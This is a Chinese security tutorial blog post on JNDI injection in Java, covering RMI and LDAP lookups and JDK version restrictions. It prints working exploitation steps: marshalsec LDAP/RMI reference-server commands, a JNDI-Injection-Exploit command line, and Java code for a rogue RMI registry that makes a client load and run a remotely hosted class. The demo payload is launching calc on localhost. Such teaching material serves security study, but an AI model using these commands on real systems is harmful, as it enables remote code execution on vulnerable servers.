当前位置: 首页 > java >正文

Web开发-JavaEE应用JNDI注入RMI服务LDAP服务DNS服务高版本限制绕过

知识点:
1、安全开发-JavaEE-JNDI注入-LADP&RMI&DNS等
2、安全开发-JavaEE-JNDI注入-项目工具&手工原理等

在这里插入图片描述
在这里插入图片描述

演示案例-WEB开发-JavaEE-JNDI注入&LDAP&RMI服务&DNS服务&高版本限制绕过

JNDI全称为 Java Naming and DirectoryInterfaceJava命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
Java为了将Object对象存储在NamingDirectory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在NamingDirectory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

JNDI注入-工具-marshalsec

项目地址:https://github.com/mbechler/marshalsec

这个项目就是自己写一个危险代码类,然后编译成class文件放到网站目录下,用该项目生成一个调用地址,相当于中转作用。

1、编译调用对象(生成class文件)

javac Test.java

在这里插入图片描述

2、将生成的Class存放到网站访问路径,使用利用工具生成调用协议(rmi,ldap)

在这里插入图片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Calc

在这里插入图片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#Calc

在这里插入图片描述

3、触发JNDI注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

JNDI注入-工具-JNDI-Injection-Exploit

项目地址:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

在这里插入图片描述
在这里插入图片描述

JNDI注入-手工

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

1、Server注册监听

Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:8089/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE", wrapper);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、Clinet连接触发

String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);

在这里插入图片描述
在这里插入图片描述

JDK高版本注入绕过

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

JDK 6u45、7u21之后

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVMjava.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。

JDK 6u141、7u131、8u121之后

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项,因此RMICORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URILDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过

后续Java安全篇章课程将讲到

http://www.xdnf.cn/news/1148.html

相关文章:

  • 互联网黑灰产攻击分析
  • 联易融出席深圳链主企业供应链金融座谈会,加速对接票交所系统
  • 搜索策略的基本概念
  • 开发网页程序时预览时遇到跨域问题解决方法
  • SCP 命令教程:安全文件传输指南
  • Java八股 深入理解Spring的AOP 面向切面编程 底层 保姆级教程 手写例子
  • vue3+canvas裁剪框样式【前端】
  • 车载软件架构 --- 驾驶员不感知的控制器软件运行
  • Sentinel源码—8.限流算法和设计模式总结一
  • Java中的方法重写(Override)与方法重载(Overload)详解
  • CSI D-PHY 散谈
  • 【Linux网络】各版本TCP服务器构建 - 从理解到实现
  • 云原生周刊:KubeSphere 平滑升级
  • UWB与GPS技术融合的室内外无缝定位方案
  • QT6 源(43):class QGroupBox : public QWidget ,最常用的容器类 QGroupBox 的源码
  • 网络编程基础
  • mybatis-plus开发orm
  • Word处理控件Spire.Doc系列教程:C# 为 Word 文档设置背景颜色或背景图片
  • 静压模型SWASH学习(9)——平底水槽高频驻波算例(Standing short wave in closed basin)
  • Django 入门实战:从环境搭建到构建你的第一个 Web 应用
  • PyTorch卷积层填充(Padding)与步幅(Stride)详解及代码示例
  • 一款丰富的工作流自动化平台 | N8N 83.6K ⭐
  • 基于外部中中断机制,实现以下功能: 1.按键1,按下和释放后,点亮LED 2.按键2,按下和释放后,熄灭LED 3.按键3,按下和释放后,使得LED闪烁
  • Android 中实现图片翻转动画(卡片翻转效果)
  • react使用01
  • 基于微信小程序的走失儿童帮助系统-项目分享
  • PerfettoSQL
  • 火山引擎实时语音合成WebSocket V3协议Python实现demo
  • redis数据类型-基数统计HyperLogLog
  • 搜索引擎的高级语法